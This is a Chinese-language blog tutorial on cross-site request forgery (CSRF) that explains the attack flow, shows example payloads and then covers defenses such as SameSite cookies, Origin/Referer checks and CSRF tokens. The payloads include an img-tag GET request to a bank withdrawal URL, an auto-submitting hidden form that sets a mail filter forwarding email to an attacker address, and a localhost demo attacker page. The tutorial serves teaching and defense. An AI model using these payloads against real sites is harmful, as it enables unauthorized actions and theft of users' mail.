資訊專欄INFORMATION COLUMN
我們常常聽到這樣一句話：默認的鏈接不要點，那些年也聽過，郵箱中的垃圾鏈接不要點。 因為可能是黑客發起的CSRF攻擊，所以在點擊之前最好是確認鏈接的安全性。
CSRF（Cross-site requests forgery）中文名：跨站腳本偽造
簡單的理解就是，黑客盜用了你的身份，以你的名義向你訪問的站點發送請求。這些請求操作可能是轉發郵件、獲取發送內容，發起轉賬、獲取權限等。
CSRF攻擊發起于第三方網站，比較隱蔽，可以直接對用戶的利益造成損失。一旦攻擊成功，危害是很嚴重的。
用戶登錄某個站點后，黑客引誘用戶訪問第三方的惡意站點，惡意站點利用用戶的登錄憑證，向用戶站點發送偽造的請求，從而執行某種損害用戶利益的操作。
具體的流程是：
1、用戶訪問a.com（正常站點），并保持登錄狀態
2、黑客引誘用戶登錄hack.com(第三方惡意站點)，hack.com攜帶登錄憑證向a.com發送請求
3、a.com驗證非法請求的登錄憑證，誤以為是用戶執行了某種操作。
4、攻擊成功，a.com執行操作（轉賬、開通權限、郵件過濾等）
所以CSRF攻擊要滿足兩個條件：
攻擊站點保持登錄狀態
后端允許跨域且沒有驗證請求來源
1、CSRF攻擊無法獲取站點的Cookie，只能盜用
2、CSRF攻擊一般是第三方站點發起，即肯定是跨域攻擊
GET請求攻擊
構造非法的Get攻擊請求
<img src="http://bank.cm/withdraw?amount=500000&for=zhangsan" > 復制代碼
POST請求攻擊
后端配置CORS接口跨域請求，如果要攜帶Cookie，那么必須要配置具體的請求域名Access-Control-Allow-Origin, *test.cn
如果配置成Access-Control-Allow-Origin, *是無法發送Cookie的，但對于Form提交來說確實可以攜帶Cookie的。所以CSRF POST攻擊主要通過Form表單實現。下面有實戰的例子。
嵌入的攻擊鏈接
主要對于內容型網站、論壇、博客等，可以允許用戶評論等輸入內容，如果黑客輸入攻擊鏈接，保存后，如果其他用戶點擊，就有可能發起攻擊。
一個實際攻擊的案例：
用戶A登錄郵箱后，看到一個領獎的郵件，就點擊進去查看，發現什么都沒有
過了一段時間后，發現自己的郵箱賬號無法登錄了
A懷疑自己受到CSRF攻擊，就重置賬號后找到之前的異常郵件，查看源碼
發現是一段form表單提交的代碼，請求設置了郵件過濾器，將郵件都轉發到hack@163.com上，導致信息泄露
<form action="http://a.com/filter" method="POST">\ <p>user: <input type="hidden" name="filter" value="on" /></p>\ <p>email: <input type="hidden" name="email" value="hack@163.com" /></p>\ <p>email: <input type="hidden" name="action" value="filterEail" /></p>\ </form> <script> document.forms[0].submit(); </script> 復制代碼
實際這個案例背后發生了什么呢？
1、首先用戶登錄了郵箱賬號，這時候服務器返回給Cookie保存在本地。
2、當用戶點擊了惡意鏈接，跳轉了惡意站點，惡意站點帶著Cookie直接執行轉發郵件的請求
3、服務器收到請求以后，以為是用戶自行發起的操作，就成功執行
4、黑客就可以收到用戶郵件，也就可以通過驗證郵件驗證碼，重置用戶郵箱密碼，從而竊取用戶信息。
index.js
web.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>用戶正常訪問網站</title> <style> #app { color: red } </style> </head> <body> <div> <p>當前為A站點：用戶訪問的正常網站，默認用戶已登錄站點，并緩存Cookies</p> <p>站點的Cookie是：<span id="app"></span></p> <a target="target" href="http://localhost:8080/index.html">CSRF攻擊的惡意鏈接</p> </div> <script> document.cookie = "user:zhangsan" document.getElementById("app").innerHTML = document.cookie </script> </body> </html> 復制代碼發起CSRF攻擊的站點
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>csrf攻擊實踐</title> </head> <body> <p>當前站點為B站點：是發起csrf攻擊的站點</p> <div> <ul> <li>1、當打開該站點，該站點將請求A站點的api</li> <li>2、A站點接收到請求后，驗證Cookie，認為是A站點的正常請求</li> <li>3、A站點執行Api操作，然后用戶攻擊成功</li> </ul> </div> <form method="POST" action="http://localhost:9000/api" enctype="multipart/form-data"> <input type="hidden" name="lisi" value="true"/> <input type="hidden" name="email" value="hacker@hack.com"/> </form> <script> document.forms[0].submit(); </script> </body> </html> 復制代碼
啟動端口為8080的node服務
1、用戶正常訪問的登錄頁面
2、用戶點擊了未讀郵件的惡意鏈接
3、在正常站點后端Api，通過Cookie認為這是一個正常的用戶操作，執行了某種操作
根據CSRF攻擊的特點：
（1）攻擊請求來源于第三方服務器，阻止其他外域的請求。
（2）通過Cookie冒用用戶信息，增加驗證信息
所以針對CSRF攻擊來源于第三方服務器，我們只能被動的減少服務器漏洞，防止攻擊，下面總結了一些常見的處理方式
這一條就很厲害了，保證安全，不明郵件或者不明URL不要點擊。如果非要點擊，復制出來，換個不常用的瀏覽器，清空所有Cookie，再點擊。
Chrome 51 開始，瀏覽器的 Cookie 新增加了一個SameSite屬性，用來防止 CSRF 攻擊。
SameSite有以下三個值，表示的含義如下：
| 屬性值 | 說明 |
|---|---|
| Strict | 最為嚴格，除非請求地址和服務器地址一致時才會發送Cookie，嚴格禁止了第三方Cookie |
| Lax | 相對放寬限制，除了a、link、form的GET提交攜帶Cookie，其他的都禁止 |
| None | 不限制Cookie發送，但還是遵守同源策略 |
Strict 過于嚴格，比如登錄過的站點，從百度搜索跳轉過去，要重新登錄，所以相對不友好。
設置了Strict和Lax模式，基本阻止了CSRF攻擊的可能，但可能影響頁面中的Form表單、iframe、ajax請求和圖片請求。
Chrome80之前默認None，之后默認Lax，下面是不同模式實際在項目中發送Cookie情況
| 請求類型 | 示例 | 正常情況 | Lax |
|---|---|---|---|
| 鏈接 | <a href="..."></a> | 發送 Cookie | 發送 Cookie |
| 預加載 | <link rel="prerender" href="..."/> | 發送 Cookie | 發送 Cookie |
| GET 表單 | <form method="GET" action="..."> | 發送 Cookie | 發送 Cookie |
| POST 表單 | <form method="POST" action="..."> | 發送 Cookie | 不發送 |
| iframe | <iframe src="..."></iframe> | 發送 Cookie | 不發送 |
| AJAX | $.get("...") | 發送 Cookie | 不發送 |
| Image | <img src="..."> | 發送 Cookie | 不發送 |
同源策略可以防止csrf攻擊嗎？
還需要驗證請求頭嗎？
驗證請求來源origin和referer
我們知道CSRF攻擊都是發起于第三方站點，所以請求的來源必要和服務器不同，而且瀏覽器會自動給請求增加Origin和Referer字段，用來識別請求來源，那么只要我們在后端設置請求的來源，就可以防止CSRF攻擊。
下面獲取origin和referer，如果是第三方的請求，屏蔽即可。
對于Referer，如果添加了Meta標簽，請求頭中的Referer將不會攜帶。
<meta name="referrer" content="never"> 復制代碼
Origin和Referer在個別瀏覽器表現不同，如果都無法獲取，直接禁止訪問即可。
網站為了保持登錄狀態，開始一般都是登錄后，服務器默認生成Cookies，客戶端保存Cookies，每次請求默認都會攜帶Cookies，用戶后端驗證用戶身份。
但Cookie會存在被攻擊的風險，所以可以替換成Token，Token一般是后端服務由隨機字符串+時間戳+其他生成然后通過加密算法生成。
用戶登錄后生成一個Token，后端保存起來，每次請求就可以驗證Token的合法性和有效期，甚至可以封裝user信息，這樣黑客就不容易冒充用戶發起攻擊，即使知道了加密的結構也沒法通過登錄生成Token。
當然這樣數據庫就會保存大量的Token，對于服務器會造成一定的壓力，也可以采取下面一種措施：同時保留Cookie和Token，Token僅用來防止CSRF攻擊，不再保存數據庫，直接在客戶端保存，請求發送到服務器后，根據生成Token的算法計算Token的有效期和合法性，這樣就避免了數據庫讀取的壓力。
token的校驗很常見，不僅可以用來做登錄驗證，也可以在使用Cookies做登錄認證的同時使用token做CSRF的鑒權
文章版權歸作者所有，未經允許請勿轉載,若此文章存在違規行為，您可以聯系管理員刪除。
轉載請注明本文地址：http://m.specialneedsforspecialkids.com/yun/127961.html
摘要：，中文為跨站請求偽造是一種利用網站可信用戶的權限去執行未授權的命令的一種惡意攻擊。防范技術令牌同步模式，簡稱是在用戶請求的頁面中的所有表單中嵌入一個，在服務端驗證這個的技術。 showImg(https://segmentfault.com/img/remote/1460000008505619); CSRF（Cross-site request forgery，中文為跨站請求偽造）是...
摘要：，中文為跨站請求偽造是一種利用網站可信用戶的權限去執行未授權的命令的一種惡意攻擊。防范技術令牌同步模式，簡稱是在用戶請求的頁面中的所有表單中嵌入一個，在服務端驗證這個的技術。 showImg(https://segmentfault.com/img/remote/1460000008505619); CSRF（Cross-site request forgery，中文為跨站請求偽造）是...
摘要：參考深入解析跨站請求偽造漏洞攻擊的應對之道相關安全，是一個很重要的技能，也是一個領域的知識。我把這個領域的東西寫成了一個系列，以后還會繼續完善下去安全一同源策略與跨域安全二攻擊安全三攻擊 什么是CSRF 全稱是（Cross Site Request Forgery）跨站請求偽造。也就是惡意網站偽裝成用戶向目標網站服務器發送請求，騙取服務器執行請求中的命令，直接在服務器改變數據值的一種攻...
摘要：參考深入解析跨站請求偽造漏洞攻擊的應對之道相關安全，是一個很重要的技能，也是一個領域的知識。我把這個領域的東西寫成了一個系列，以后還會繼續完善下去安全一同源策略與跨域安全二攻擊安全三攻擊 什么是CSRF 全稱是（Cross Site Request Forgery）跨站請求偽造。也就是惡意網站偽裝成用戶向目標網站服務器發送請求，騙取服務器執行請求中的命令，直接在服務器改變數據值的一種攻...
摘要：系列文章前端安全系列篇前端安全系列篇介紹跨站請求偽造，也被稱為或者，通常縮寫為或者，是一種對網站的惡意利用。 系列文章: 前端安全系列：XSS篇前端安全系列：CSRF篇 CSRF介紹 CSRF（Cross-site request forgery）跨站請求偽造，也被稱為One Click Attack或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網站的惡意利...
閱讀 474·2024-11-07 18:25
閱讀 130815·2024-02-01 10:43
閱讀 951·2024-01-31 14:58
閱讀 916·2024-01-31 14:54
閱讀 83027·2024-01-29 17:11
閱讀 3287·2024-01-25 14:55
閱讀 2076·2023-06-02 13:36
閱讀 3189·2023-05-23 10:26
